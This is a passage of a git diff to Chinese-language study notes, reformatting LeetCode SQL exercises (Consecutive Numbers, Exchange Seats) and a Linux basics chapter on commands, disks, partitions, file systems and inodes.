+    ( 3, 1 ),
+    ( 4, 2 ),
+    ( 5, 1 ),
+    ( 6, 2 ),
+    ( 7, 2 );
 ```
 
-## Solution
+## Solution
 
 ```sql
 SELECT
-    DISTINCT L1.num ConsecutiveNums
+    DISTINCT L1.num ConsecutiveNums
 FROM
-    Logs L1,
-    Logs L2,
-    Logs L3
-WHERE L1.id = l2.id - 1
-    AND L2.id = L3.id - 1
-    AND L1.num = L2.num
-    AND l2.num = l3.num;
+    Logs L1,
+    Logs L2,
+    Logs L3
+WHERE L1.id = l2.id - 1
+    AND L2.id = L3.id - 1
+    AND L1.num = L2.num
+    AND l2.num = l3.num;
 ```
 
-# 626. Exchange Seats
+# 626. Exchange Seats
 
 https://leetcode.com/problems/exchange-seats/description/
 
-## Description
+## Description
 
-seat 表存储着座位对应的学生。
+seat 表存储着座位对应的学生。
 
 ```html
 +---------+---------+
-|    id   | student |
+|    id   | student |
 +---------+---------+
-|    1    | Abbot   |
-|    2    | Doris   |
-|    3    | Emerson |
-|    4    | Green   |
-|    5    | Jeames  |
+|    1    | Abbot   |
+|    2    | Doris   |
+|    3    | Emerson |
+|    4    | Green   |
+|    5    | Jeames  |
 +---------+---------+
 ```
 
@@ -892,60 +872,60 @@ seat 表存储着座位对应的学生。
 
 ```html
 +---------+---------+
-|    id   | student |
+|    id   | student |
 +---------+---------+
-|    1    | Doris   |
-|    2    | Abbot   |
-|    3    | Green   |
-|    4    | Emerson |
-|    5    | Jeames  |
+|    1    | Doris   |
+|    2    | Abbot   |
+|    3    | Green   |
+|    4    | Emerson |
+|    5    | Jeames  |
 +---------+---------+
 ```
 
-## SQL Schema
+## SQL Schema
 
 ```sql
-DROP TABLE
+DROP TABLE
 IF
-    EXISTS seat;
-CREATE TABLE seat ( id INT, student VARCHAR ( 255 ) );
-INSERT INTO seat ( id, student )
+    EXISTS seat;
+CREATE TABLE seat ( id INT, student VARCHAR ( 255 ) );
+INSERT INTO seat ( id, student )
 VALUES
-    ( '1', 'Abbot' ),
-    ( '2', 'Doris' ),
-    ( '3', 'Emerson' ),
-    ( '4', 'Green' ),
-    ( '5', 'Jeames' );
+    ( '1', 'Abbot' ),
+    ( '2', 'Doris' ),
+    ( '3', 'Emerson' ),
+    ( '4', 'Green' ),
+    ( '5', 'Jeames' );
 ```
 
-## Solution
+## Solution
 
-使用多个 union。
+使用多个 union。
 
 ```sql
 SELECT
-    s1.id - 1 AS id,
-    s1.student
+    s1.id - 1 AS id,
+    s1.student
 FROM
-    seat s1
+    seat s1
 WHERE
-    s1.id MOD 2 = 0 UNION
+    s1.id MOD 2 = 0 UNION
 SELECT
-    s2.id + 1 AS id,
-    s2.student
+    s2.id + 1 AS id,
+    s2.student
 FROM
-    seat s2
+    seat s2
 WHERE
-    s2.id MOD 2 = 1
-    AND s2.id != ( SELECT max( s3.id ) FROM seat s3 ) UNION
+    s2.id MOD 2 = 1
+    AND s2.id != ( SELECT max( s3.id ) FROM seat s3 ) UNION
 SELECT
-    s4.id AS id,
-    s4.student
+    s4.id AS id,
+    s4.student
 FROM
-    seat s4
+    seat s4
 WHERE
-    s4.id MOD 2 = 1
-    AND s4.id = ( SELECT max( s5.id ) FROM seat s5 )
-ORDER BY
-    id;
+    s4.id MOD 2 = 1
+    AND s4.id = ( SELECT max( s5.id ) FROM seat s5 )
+ORDER BY
+    id;
 ```
diff --git a/docs/notes/Linux.md b/docs/notes/Linux.md
index 3bd2affc..52d08922 100644
--- a/docs/notes/Linux.md
+++ b/docs/notes/Linux.md
@@ -1,1248 +1,1196 @@
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
-<!-- GFM-TOC -->
-* [一、常用操作以及概念](#一常用操作以及概念)
-    * [快捷键](#快捷键)
-    * [求助](#求助)
-    * [关机](#关机)
-    * [PATH](#path)
-    * [sudo](#sudo)
-    * [包管理工具](#包管理工具)
-    * [发行版](#发行版)
-    * [VIM 三个模式](#vim-三个模式)
-    * [GNU](#gnu)
-    * [开源协议](#开源协议)
-* [二、磁盘](#二磁盘)
-    * [磁盘接口](#磁盘接口)
-    * [磁盘的文件名](#磁盘的文件名)
-* [三、分区](#三分区)
-    * [分区表](#分区表)
-    * [开机检测程序](#开机检测程序)
-* [四、文件系统](#四文件系统)
-    * [分区与文件系统](#分区与文件系统)
-    * [组成](#组成)
-    * [文件读取](#文件读取)
-    * [磁盘碎片](#磁盘碎片)
-    * [block](#block)
-    * [inode](#inode)
-    * [目录](#目录)
-    * [日志](#日志)
-    * [挂载](#挂载)
-    * [目录配置](#目录配置)
-* [五、文件](#五文件)
-    * [文件属性](#文件属性)
-    * [文件与目录的基本操作](#文件与目录的基本操作)
-    * [修改权限](#修改权限)
-    * [文件默认权限](#文件默认权限)
-    * [目录的权限](#目录的权限)
-    * [链接](#链接)
-    * [获取文件内容](#获取文件内容)
-    * [指令与文件搜索](#指令与文件搜索)
-* [六、压缩与打包](#六压缩与打包)
-    * [压缩文件名](#压缩文件名)
-    * [压缩指令](#压缩指令)
-    * [打包](#打包)
-* [七、Bash](#七bash)
-    * [特性](#特性)
-    * [变量操作](#变量操作)
-    * [指令搜索顺序](#指令搜索顺序)
-    * [数据流重定向](#数据流重定向)
-* [八、管道指令](#八管道指令)
-    * [提取指令](#提取指令)
-    * [排序指令](#排序指令)
-    * [双向输出重定向](#双向输出重定向)
-    * [字符转换指令](#字符转换指令)
-    * [分区指令](#分区指令)
-* [九、正则表达式](#九正则表达式)
-    * [grep](#grep)
-    * [printf](#printf)
-    * [awk](#awk)
-* [十、进程管理](#十进程管理)
-    * [查看进程](#查看进程)
-    * [进程状态](#进程状态)
-    * [SIGCHLD](#sigchld)
-    * [wait()](#wait)
-    * [waitpid()](#waitpid)
-    * [孤儿进程](#孤儿进程)
-    * [僵尸进程](#僵尸进程)
-* [参考资料](#参考资料)
-<!-- GFM-TOC -->
+# 一、常用操作以及概念
 
+## 快捷键
 
-# 一、常用操作以及概念
+- Tab：命令和文件名补全；
+- Ctrl+C：中断正在运行的程序；
+- Ctrl+D：结束键盘输入（End Of File，EOF）
 
-## 快捷键
+## 求助
 
-- Tab：命令和文件名补全；
-- Ctrl+C：中断正在运行的程序；
-- Ctrl+D：结束键盘输入（End Of File，EOF）
-
-## 求助
-
-### 1. --help
+### 1. --help
 
 指令的基本用法与选项介绍。
 
-### 2. man
+### 2. man
 
-man 是 manual 的缩写，将指令的具体信息显示出来。
+man 是 manual 的缩写，将指令的具体信息显示出来。
 
-当执行`man date`时，有 DATE(1) 出现，其中的数字代表指令的类型，常用的数字及其类型如下：
+当执行`man date`时，有 DATE(1) 出现，其中的数字代表指令的类型，常用的数字及其类型如下：
 
-| 代号 | 类型 |
-| :--: | -- |
-| 1 | 用户在 shell 环境中可以操作的指令或者可执行文件 |
-| 5 | 配置文件 |
-| 8 | 系统管理员可以使用的管理指令 |
+| 代号 | 类型 |
+| :--: | -- |
+| 1 | 用户在 shell 环境中可以操作的指令或者可执行文件 |
+| 5 | 配置文件 |
+| 8 | 系统管理员可以使用的管理指令 |
 
-### 3. info
+### 3. info
 
-info 与 man 类似，但是 info 将文档分成一个个页面，每个页面可以进行跳转。
+info 与 man 类似，但是 info 将文档分成一个个页面，每个页面可以进行跳转。
 
-### 4. doc
+### 4. doc
 
-/usr/share/doc 存放着软件的一整套说明文件。
+/usr/share/doc 存放着软件的一整套说明文件。
 
-## 关机
+## 关机
 
-### 1. who
+### 1. who
 
-在关机前需要先使用 who 命令查看有没有其它用户在线。
+在关机前需要先使用 who 命令查看有没有其它用户在线。
 
-### 2. sync
+### 2. sync
 
-为了加快对磁盘文件的读写速度，位于内存中的文件数据不会立即同步到磁盘上，因此关机之前需要先进行 sync 同步操作。
+为了加快对磁盘文件的读写速度，位于内存中的文件数据不会立即同步到磁盘上，因此关机之前需要先进行 sync 同步操作。
 
-### 3. shutdown
+### 3. shutdown
 
 ```html
-# shutdown [-krhc] 时间 [信息]
--k ： 不会关机，只是发送警告信息，通知所有在线的用户
--r ： 将系统的服务停掉后就重新启动
--h ： 将系统的服务停掉后就立即关机
--c ： 取消已经在进行的 shutdown 指令内容
+# shutdown [-krhc] 时间 [信息]
+-k ： 不会关机，只是发送警告信息，通知所有在线的用户
+-r ： 将系统的服务停掉后就重新启动
+-h ： 将系统的服务停掉后就立即关机
+-c ： 取消已经在进行的 shutdown 指令内容
 ```
 
-## PATH
+## PATH
 
-可以在环境变量 PATH 中声明可执行文件的路径，路径之间用 : 分隔。
+可以在环境变量 PATH 中声明可执行文件的路径，路径之间用 : 分隔。
 
 ```html
 /usr/local/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/home/dmtsai/.local/bin:/home/dmtsai/bin
 ```
 
-## sudo
+## sudo
 
-sudo 允许一般用户使用 root 可执行的命令，不过只有在 /etc/sudoers 配置文件中添加的用户才能使用该指令。
+sudo 允许一般用户使用 root 可执行的命令，不过只有在 /etc/sudoers 配置文件中添加的用户才能使用该指令。
 
-## 包管理工具
+## 包管理工具
 
-RPM 和 DPKG 为最常见的两类软件包管理工具：
+RPM 和 DPKG 为最常见的两类软件包管理工具：
 
-- RPM 全称为 Redhat Package Manager，最早由 Red Hat 公司制定实施，随后被 GNU 开源操作系统接受并成为很多 Linux 系统 (RHEL) 的既定软件标准。
-- 与 RPM 进行竞争的是基于 Debian 操作系统 (Ubuntu) 的 DEB 软件包管理工具 DPKG，全称为 Debian Package，功能方面与 RPM 相似。
+- RPM 全称为 Redhat Package Manager，最早由 Red Hat 公司制定实施，随后被 GNU 开源操作系统接受并成为很多 Linux 系统 (RHEL) 的既定软件标准。
+- 与 RPM 进行竞争的是基于 Debian 操作系统 (Ubuntu) 的 DEB 软件包管理工具 DPKG，全称为 Debian Package，功能方面与 RPM 相似。
 
-YUM 基于 RPM，具有依赖管理功能，并具有软件升级的功能。
+YUM 基于 RPM，具有依赖管理功能，并具有软件升级的功能。
 
-## 发行版
+## 发行版
 
-Linux 发行版是 Linux 内核及各种应用软件的集成版本。
+Linux 发行版是 Linux 内核及各种应用软件的集成版本。
 
-| 基于的包管理工具 | 商业发行版 | 社区发行版 |
-| :--: | :--: | :--: |
-| RPM | Red Hat | Fedora / CentOS |
-| DPKG | Ubuntu | Debian |
+| 基于的包管理工具 | 商业发行版 | 社区发行版 |
+| :--: | :--: | :--: |
+| RPM | Red Hat | Fedora / CentOS |
+| DPKG | Ubuntu | Debian |
 
-## VIM 三个模式
+## VIM 三个模式
 
-- 一般指令模式（Command mode）：VIM 的默认模式，可以用于移动游标查看内容；
-- 编辑模式（Insert mode）：按下 "i" 等按键之后进入，可以对文本进行编辑；
-- 指令列模式（Bottom-line mode）：按下 ":" 按键之后进入，用于保存退出等操作。
+- 一般指令模式（Command mode）：VIM 的默认模式，可以用于移动游标查看内容；
+- 编辑模式（Insert mode）：按下 "i" 等按键之后进入，可以对文本进行编辑；
+- 指令列模式（Bottom-line mode）：按下 ":" 按键之后进入，用于保存退出等操作。
 
-<div align="center"> <img src="pics/5942debd-fc00-477a-b390-7c5692cc8070.jpg" width="400"/> </div><br>
+<img src="index_files/5942debd-fc00-477a-b390-7c5692cc8070.jpg" width="400"/>
 
 在指令列模式下，有以下命令用于离开或者保存文件。
 
-| 命令 | 作用 |
-| :--: | :--: |
-| :w | 写入磁盘|
-| :w! | 当文件为只读时，强制写入磁盘。到底能不能写入，与用户对该文件的权限有关 |
-| :q | 离开 |
-| :q! | 强制离开不保存 |
-| :wq | 写入磁盘后离开 |
-| :wq!| 强制写入磁盘后离开 |
+| 命令 | 作用 |
+| :--: | :--: |
+| :w | 写入磁盘|
+| :w! | 当文件为只读时，强制写入磁盘。到底能不能写入，与用户对该文件的权限有关 |
+| :q | 离开 |
+| :q! | 强制离开不保存 |
+| :wq | 写入磁盘后离开 |
+| :wq!| 强制写入磁盘后离开 |
 
-## GNU
+## GNU
 
-GNU 计划，译为革奴计划，它的目标是创建一套完全自由的操作系统，称为 GNU，其内容软件完全以 GPL 方式发布。其中 GPL 全称为 GNU 通用公共许可协议，包含了以下内容：
+GNU 计划，译为革奴计划，它的目标是创建一套完全自由的操作系统，称为 GNU，其内容软件完全以 GPL 方式发布。其中 GPL 全称为 GNU 通用公共许可协议，包含了以下内容：
 
-- 以任何目的运行此程序的自由；
-- 再复制的自由；
-- 改进此程序，并公开发布改进的自由。
+- 以任何目的运行此程序的自由；
+- 再复制的自由；
+- 改进此程序，并公开发布改进的自由。
 
-## 开源协议
+## 开源协议
 
-- [Choose an open source license](https://choosealicense.com/)
-- [如何选择开源许可证？](http://www.ruanyifeng.com/blog/2011/05/how_to_choose_free_software_licenses.html)
+- [Choose an open source license](https://choosealicense.com/)
+- [如何选择开源许可证？](http://www.ruanyifeng.com/blog/2011/05/how_to_choose_free_software_licenses.html)
 
-# 二、磁盘
+# 二、磁盘
 
-## 磁盘接口
+## 磁盘接口
 
-### 1. IDE
+### 1. IDE
 
-IDE（ATA）全称 Advanced Technology Attachment，接口速度最大为 133MB/s，因为并口线的抗干扰性太差，且排线占用空间较大，不利电脑内部散热，已逐渐被 SATA 所取代。
+IDE（ATA）全称 Advanced Technology Attachment，接口速度最大为 133MB/s，因为并口线的抗干扰性太差，且排线占用空间较大，不利电脑内部散热，已逐渐被 SATA 所取代。
 
-<div align="center"> <img src="pics/924914c0-660c-4e4a-bbc0-1df1146e7516.jpg" width="400"/> </div><br>
+<img src="index_files/924914c0-660c-4e4a-bbc0-1df1146e7516.jpg" width="400"/>
 
-### 2. SATA
+### 2. SATA
 
-SATA 全称 Serial ATA，也就是使用串口的 ATA 接口，抗干扰性强，且对数据线的长度要求比 ATA 低很多，支持热插拔等功能。SATA-II 的接口速度为 300MiB/s，而新的 SATA-III 标准可达到 600MiB/s 的传输速度。SATA 的数据线也比 ATA 的细得多，有利于机箱内的空气流通，整理线材也比较方便。
+SATA 全称 Serial ATA，也就是使用串口的 ATA 接口，抗干扰性强，且对数据线的长度要求比 ATA 低很多，支持热插拔等功能。SATA-II 的接口速度为 300MiB/s，而新的 SATA-III 标准可达到 600MiB/s 的传输速度。SATA 的数据线也比 ATA 的细得多，有利于机箱内的空气流通，整理线材也比较方便。
 
-<div align="center"> <img src="pics/f9f2a16b-4843-44d1-9759-c745772e9bcf.jpg" width=""/> </div><br>
+<img src="index_files/f9f2a16b-4843-44d1-9759-c745772e9bcf.jpg" width=""/>
 
-### 3. SCSI
+### 3. SCSI
 
-SCSI 全称是 Small Computer System Interface（小型机系统接口），经历多代的发展，从早期的 SCSI-II 到目前的 Ultra320 SCSI 以及 Fiber-Channel（光纤通道），接口型式也多种多样。SCSI 硬盘广为工作站级个人电脑以及服务器所使用，因此会使用较为先进的技术，如碟片转速 15000rpm 的高转速，且传输时 CPU 占用率较低，但是单价也比相同容量的 ATA 及 SATA 硬盘更加昂贵。
+SCSI 全称是 Small Computer System Interface（小型机系统接口），经历多代的发展，从早期的 SCSI-II 到目前的 Ultra320 SCSI 以及 Fiber-Channel（光纤通道），接口型式也多种多样。SCSI 硬盘广为工作站级个人电脑以及服务器所使用，因此会使用较为先进的技术，如碟片转速 15000rpm 的高转速，且传输时 CPU 占用率较低，但是单价也比相同容量的 ATA 及 SATA 硬盘更加昂贵。
 
-<div align="center"> <img src="pics/f0574025-c514-49f5-a591-6d6a71f271f7.jpg" width=""/> </div><br>
+<img src="index_files/f0574025-c514-49f5-a591-6d6a71f271f7.jpg" width=""/>
 
-### 4. SAS
+### 4. SAS
 
-SAS（Serial Attached SCSI）是新一代的 SCSI 技术，和 SATA 硬盘相同，都是采取序列式技术以获得更高的传输速度，可达到 6Gb/s。此外也透过缩小连接线改善系统内部空间等。
+SAS（Serial Attached SCSI）是新一代的 SCSI 技术，和 SATA 硬盘相同，都是采取序列式技术以获得更高的传输速度，可达到 6Gb/s。此外也透过缩小连接线改善系统内部空间等。
 
-<div align="center"> <img src="pics/6729baa0-57d7-4817-b3aa-518cbccf824c.jpg" width=""/> </div><br>
+<img src="index_files/6729baa0-57d7-4817-b3aa-518cbccf824c.jpg" width=""/>
 
-## 磁盘的文件名
+## 磁盘的文件名
 
-Linux 中每个硬件都被当做一个文件，包括磁盘。磁盘以磁盘接口类型进行命名，常见磁盘的文件名如下：
+Linux 中每个硬件都被当做一个文件，包括磁盘。磁盘以磁盘接口类型进行命名，常见磁盘的文件名如下：
 
-- IDE 磁盘：/dev/hd[a-d]
-- SATA/SCSI/SAS 磁盘：/dev/sd[a-p]
+- IDE 磁盘：/dev/hd[a-d]
+- SATA/SCSI/SAS 磁盘：/dev/sd[a-p]
 
 其中文件名后面的序号的确定与系统检测到磁盘的顺序有关，而与磁盘所插入的插槽位置无关。
 
-# 三、分区
+# 三、分区
 
-## 分区表
+## 分区表
 
-磁盘分区表主要有两种格式，一种是限制较多的 MBR 分区表，一种是较新且限制较少的 GPT 分区表。
+磁盘分区表主要有两种格式，一种是限制较多的 MBR 分区表，一种是较新且限制较少的 GPT 分区表。
 
-### 1. MBR
+### 1. MBR
 
-MBR 中，第一个扇区最重要，里面有主要开机记录（Master boot record, MBR）及分区表（partition table），其中主要开机记录占 446 bytes，分区表占 64 bytes。
+MBR 中，第一个扇区最重要，里面有主要开机记录（Master boot record, MBR）及分区表（partition table），其中主要开机记录占 446 bytes，分区表占 64 bytes。
 
-分区表只有 64 bytes，最多只能存储 4 个分区，这 4 个分区为主分区（Primary）和扩展分区（Extended）。其中扩展分区只有一个，它使用其它扇区用记录额外的分区表，因此通过扩展分区可以分出更多分区，这些分区称为逻辑分区。
+分区表只有 64 bytes，最多只能存储 4 个分区，这 4 个分区为主分区（Primary）和扩展分区（Extended）。其中扩展分区只有一个，它使用其它扇区用记录额外的分区表，因此通过扩展分区可以分出更多分区，这些分区称为逻辑分区。
 
-Linux 也把分区当成文件，分区文件的命名方式为：磁盘文件名 + 编号，例如 /dev/sda1。注意，逻辑分区的编号从 5 开始。
+Linux 也把分区当成文件，分区文件的命名方式为：磁盘文件名 + 编号，例如 /dev/sda1。注意，逻辑分区的编号从 5 开始。
 
-### 2. GPT
+### 2. GPT
 
-不同的磁盘有不同的扇区大小，例如 512 bytes 和最新磁盘的 4 k。GPT 为了兼容所有磁盘，在定义扇区上使用逻辑区块地址（Logical Block Address, LBA），LBA 默认大小为 512 bytes。
+不同的磁盘有不同的扇区大小，例如 512 bytes 和最新磁盘的 4 k。GPT 为了兼容所有磁盘，在定义扇区上使用逻辑区块地址（Logical Block Address, LBA），LBA 默认大小为 512 bytes。
 
-GPT 第 1 个区块记录了主要开机记录（MBR），紧接着是 33 个区块记录分区信息，并把最后的 33 个区块用于对分区信息进行备份。这 33 个区块第一个为 GPT 表头纪录，这个部份纪录了分区表本身的位置与大小和备份分区的位置，同时放置了分区表的校验码 (CRC32)，操作系统可以根据这个校验码来判断 GPT 是否正确。若有错误，可以使用备份分区进行恢复。
+GPT 第 1 个区块记录了主要开机记录（MBR），紧接着是 33 个区块记录分区信息，并把最后的 33 个区块用于对分区信息进行备份。这 33 个区块第一个为 GPT 表头纪录，这个部份纪录了分区表本身的位置与大小和备份分区的位置，同时放置了分区表的校验码 (CRC32)，操作系统可以根据这个校验码来判断 GPT 是否正确。若有错误，可以使用备份分区进行恢复。
 
-GPT 没有扩展分区概念，都是主分区，每个 LAB 可以分 4 个分区，因此总共可以分 4 * 32 = 128 个分区。
+GPT 没有扩展分区概念，都是主分区，每个 LAB 可以分 4 个分区，因此总共可以分 4 * 32 = 128 个分区。
 
-MBR 不支持 2.2 TB 以上的硬盘，GPT 则最多支持到 2<sup>33</sup> TB = 8 ZB。
+MBR 不支持 2.2 TB 以上的硬盘，GPT 则最多支持到 2<sup>33</sup> TB = 8 ZB。
 
-<div align="center"> <img src="pics/GUID_Partition_Table_Scheme.svg.png" width="400"/> </div><br>
+<img src="index_files/GUID_Partition_Table_Scheme.svg.png" width="400"/>
 
-## 开机检测程序
+## 开机检测程序
 
-### 1. BIOS
+### 1. BIOS
 
-BIOS（Basic Input/Output System，基本输入输出系统），它是一个固件（嵌入在硬件中的软件），BIOS 程序存放在断电后内容不会丢失的只读内存中。
+BIOS（Basic Input/Output System，基本输入输出系统），它是一个固件（嵌入在硬件中的软件），BIOS 程序存放在断电后内容不会丢失的只读内存中。
 
-<div align="center"> <img src="pics/50831a6f-2777-46ea-a571-29f23c85cc21.jpg"/> </div><br>
+![](index_files/50831a6f-2777-46ea-a571-29f23c85cc21.jpg)
 
-BIOS 是开机的时候计算机执行的第一个程序，这个程序知道可以开机的磁盘，并读取磁盘第一个扇区的主要开机记录（MBR），由主要开机记录（MBR）执行其中的开机管理程序，这个开机管理程序会加载操作系统的核心文件。
+BIOS 是开机的时候计算机执行的第一个程序，这个程序知道可以开机的磁盘，并读取磁盘第一个扇区的主要开机记录（MBR），由主要开机记录（MBR）执行其中的开机管理程序，这个开机管理程序会加载操作系统的核心文件。
 
 主要开机记录（MBR）中的开机管理程序提供以下功能：选单、载入核心文件以及转交其它开机管理程序。转交这个功能可以用来实现了多重引导，只需要将另一个操作系统的开机管理程序安装在其它分区的启动扇区上，在启动开机管理程序时，就可以通过选单选择启动当前的操作系统或者转交给其它开机管理程序从而启动另一个操作系统。
 
-下图中，第一扇区的主要开机记录（MBR）中的开机管理程序提供了两个选单：M1、M2，M1 指向了 Windows 操作系统，而 M2 指向其它分区的启动扇区，里面包含了另外一个开机管理程序，提供了一个指向 Linux 的选单。
+下图中，第一扇区的主要开机记录（MBR）中的开机管理程序提供了两个选单：M1、M2，M1 指向了 Windows 操作系统，而 M2 指向其它分区的启动扇区，里面包含了另外一个开机管理程序，提供了一个指向 Linux 的选单。
 
-<div align="center"> <img src="pics/f900f266-a323-42b2-bc43-218fdb8811a8.jpg" width="600"/> </div><br>
+<img src="index_files/f900f266-a323-42b2-bc43-218fdb8811a8.jpg" width="600"/>
 
-安装多重引导，最好先安装 Windows 再安装 Linux。因为安装 Windows 时会覆盖掉主要开机记录（MBR），而 Linux 可以选择将开机管理程序安装在主要开机记录（MBR）或者其它分区的启动扇区，并且可以设置开机管理程序的选单。
+安装多重引导，最好先安装 Windows 再安装 Linux。因为安装 Windows 时会覆盖掉主要开机记录（MBR），而 Linux 可以选择将开机管理程序安装在主要开机记录（MBR）或者其它分区的启动扇区，并且可以设置开机管理程序的选单。
 
-### 2. UEFI
+### 2. UEFI
 
-BIOS 不可以读取 GPT 分区表，而 UEFI 可以。
+BIOS 不可以读取 GPT 分区表，而 UEFI 可以。
 
-# 四、文件系统
+# 四、文件系统
 
-## 分区与文件系统
+## 分区与文件系统
 
 对分区进行格式化是为了在分区上建立文件系统。一个分区通常只能格式化为一个文件系统，但是磁盘阵列等技术可以将一个分区格式化为多个文件系统。
 
-## 组成
+## 组成
 
 最主要的几个组成部分如下：
 
-- inode：一个文件占用一个 inode，记录文件的属性，同时记录此文件的内容所在的 block 编号；
-- block：记录文件的内容，文件太大时，会占用多个 block。
+- inode：一个文件占用一个 inode，记录文件的属性，同时记录此文件的内容所在的 block 编号；
+- block：记录文件的内容，文件太大时，会占用多个 block。
 
 除此之外还包括：
 
-- superblock：记录文件系统的整体信息，包括 inode 和 block 的总量、使用量、剩余量，以及文件系统的格式与相关信息等；
-- block bitmap：记录 block 是否被使用的位域。
+- superblock：记录文件系统的整体信息，包括 inode 和 block 的总量、使用量、剩余量，以及文件系统的格式与相关信息等；
+- block bitmap：记录 block 是否被使用的位域。
 
-<div align="center"> <img src="pics/BSD_disk.png" width="800"/> </div><br>
+<img src="index_files/BSD_disk.png" width="800"/>
 
-## 文件读取
+## 文件读取
 
-对于 Ext2 文件系统，当要读取一个文件的内容时，先在 inode 中去查找文件内容所在的所有 block，然后把所有 block 的内容读出来。
+对于 Ext2 文件系统，当要读取一个文件的内容时，先在 inode 中去查找文件内容所在的所有 block，然后把所有 block 的内容读出来。
 
-<div align="center"> <img src="pics/83185315-793a-453a-a927-5e8d92b5c0ef.jpg"/> </div><br>
+![](index_files/83185315-793a-453a-a927-5e8d92b5c0ef.jpg)
 
-而对于 FAT 文件系统，它没有 inode，每个 block 中存储着下一个 block 的编号。
+而对于 FAT 文件系统，它没有 inode，每个 block 中存储着下一个 block 的编号。
 
-<div align="center"> <img src="pics/075e1977-7846-4928-96c8-bb5b0268693c.jpg"/> </div><br>
+![](index_files/075e1977-7846-4928-96c8-bb5b0268693c.jpg)
 
-## 磁盘碎片
+## 磁盘碎片
 
-指一个文件内容所在的 block 过于分散。
+指一个文件内容所在的 block 过于分散。
 
-## block
+## block
 
-在 Ext2 文件系统中所支持的 block 大小有 1K，2K 及 4K 三种，不同的大小限制了单个文件和文件系统的最大大小。
+在 Ext2 文件系统中所支持的 block 大小有 1K，2K 及 4K 三种，不同的大小限制了单个文件和文件系统的最大大小。
 
-| 大小 | 1KB | 2KB | 4KB |
-| :---: | :---: | :---: | :---: |
-| 最大单一文件 | 16GB | 256GB | 2TB |
-| 最大文件系统 | 2TB | 8TB | 16TB |
+| 大小 | 1KB | 2KB | 4KB |
+| :---: | :---: | :---: | :---: |
+| 最大单一文件 | 16GB | 256GB | 2TB |
+| 最大文件系统 | 2TB | 8TB | 16TB |
 
-一个 block 只能被一个文件所使用，未使用的部分直接浪费了。因此如果需要存储大量的小文件，那么最好选用比较小的 block。
+一个 block 只能被一个文件所使用，未使用的部分直接浪费了。因此如果需要存储大量的小文件，那么最好选用比较小的 block。
 
-## inode
+## inode
 
-inode 具体包含以下信息：
+inode 具体包含以下信息：
 
-- 权限 (read/write/excute)；
-- 拥有者与群组 (owner/group)；
-- 容量；
-- 建立或状态改变的时间 (ctime)；
-- 最近一次的读取时间 (atime)；
-- 最近修改的时间 (mtime)；
-- 定义文件特性的旗标 (flag)，如 SetUID...；
-- 该文件真正内容的指向 (pointer)。
+- 权限 (read/write/excute)；
+- 拥有者与群组 (owner/group)；
+- 容量；
+- 建立或状态改变的时间 (ctime)；
+- 最近一次的读取时间 (atime)；
+- 最近修改的时间 (mtime)；
+- 定义文件特性的旗标 (flag)，如 SetUID...；
+- 该文件真正内容的指向 (pointer)。
 
-inode 具有以下特点：
+inode 具有以下特点：
 
-- 每个 inode 大小均固定为 128 bytes (新的 ext4 与 xfs 可设定到 256 bytes)；
-- 每个文件都仅会占用一个 inode。
+- 每个 inode 大小均固定为 128 bytes (新的 ext4 与 xfs 可设定到 256 bytes)；
+- 每个文件都仅会占用一个 inode。
 
-inode 中记录了文件内容所在的 block 编号，但是每个 block 非常小，一个大文件随便都需要几十万的 block。而一个 inode 大小有限，无法直接引用这么多 block 编号。因此引入了间接、双间接、三间接引用。间接引用是指，让 inode 记录的引用 block 块记录引用信息。
+inode 中记录了文件内容所在的 block 编号，但是每个 block 非常小，一个大文件随便都需要几十万的 block。而一个 inode 大小有限，无法直接引用这么多 block 编号。因此引入了间接、双间接、三间接引用。间接引用是指，让 inode 记录的引用 block 块记录引用信息。
 
-<div align="center"> <img src="pics/inode_with_signatures.jpg" width="600"/> </div><br>
+<img src="index_files/inode_with_signatures.jpg" width="600"/>
 
-## 目录
+## 目录
 
-建立一个目录时，会分配一个 inode 与至少一个 block。block 记录的内容是目录下所有文件的 inode 编号以及文件名。
+建立一个目录时，会分配一个 inode 与至少一个 block。block 记录的内容是目录下所有文件的 inode 编号以及文件名。
 
-可以看出文件的 inode 本身不记录文件名，文件名记录在目录中，因此新增文件、删除文件、更改文件名这些操作与目录的 w 权限有关。
+可以看出文件的 inode 本身不记录文件名，文件名记录在目录中，因此新增文件、删除文件、更改文件名这些操作与目录的 w 权限有关。
 
-## 日志
+## 日志
 
-如果突然断电，那么文件系统会发生错误，例如断电前只修改了 block bitmap，而还没有将数据真正写入 block 中。
+如果突然断电，那么文件系统会发生错误，例如断电前只修改了 block bitmap，而还没有将数据真正写入 block 中。
 
-ext3/ext4 文件系统引入了日志功能，可以利用日志来修复文件系统。
+ext3/ext4 文件系统引入了日志功能，可以利用日志来修复文件系统。
 
-## 挂载
+## 挂载
 
 挂载利用目录作为文件系统的进入点，也就是说，进入目录之后就可以读取文件系统的数据。
 
-## 目录配置
+## 目录配置
 
-为了使不同 Linux 发行版本的目录结构保持一致性，Filesystem Hierarchy Standard (FHS) 规定了 Linux 的目录结构。最基础的三个目录如下：
+为了使不同 Linux 发行版本的目录结构保持一致性，Filesystem Hierarchy Standard (FHS) 规定了 Linux 的目录结构。最基础的三个目录如下：
 
-- / (root, 根目录)
-- /usr (unix software resource)：所有系统默认软件都会安装到这个目录；
-- /var (variable)：存放系统或程序运行过程中的数据文件。
+- / (root, 根目录)
+- /usr (unix software resource)：所有系统默认软件都会安装到这个目录；
+- /var (variable)：存放系统或程序运行过程中的数据文件。
 
-<div align="center"> <img src="pics/linux-filesystem.png" width=""/> </div><br>
+<img src="index_files/linux-filesystem.png" width=""/>
 
-# 五、文件
+# 五、文件
 
-## 文件属性
+## 文件属性
 
 用户分为三种：文件拥有者、群组以及其它人，对不同的用户有不同的文件权限。
 
-使用 ls 查看一个文件时，会显示一个文件的信息，例如 `drwxr-xr-x. 3 root root 17 May 6 00:14 .config`，对这个信息的解释如下：
+使用 ls 查看一个文件时，会显示一个文件的信息，例如 `drwxr-xr-x. 3 root root 17 May 6 00:14 .config`，对这个信息的解释如下：
 
-- drwxr-xr-x：文件类型以及权限，第 1 位为文件类型字段，后 9 位为文件权限字段
-- 3：链接数
-- root：文件拥有者
-- root：所属群组
-- 17：文件大小
-- May 6 00:14：文件最后被修改的时间
-- .config：文件名
+- drwxr-xr-x：文件类型以及权限，第 1 位为文件类型字段，后 9 位为文件权限字段
+- 3：链接数
+- root：文件拥有者
+- root：所属群组
+- 17：文件大小
+- May 6 00:14：文件最后被修改的时间
+- .config：文件名
 
 常见的文件类型及其含义有：
 
-- d：目录
-- -：文件
-- l：链接文件
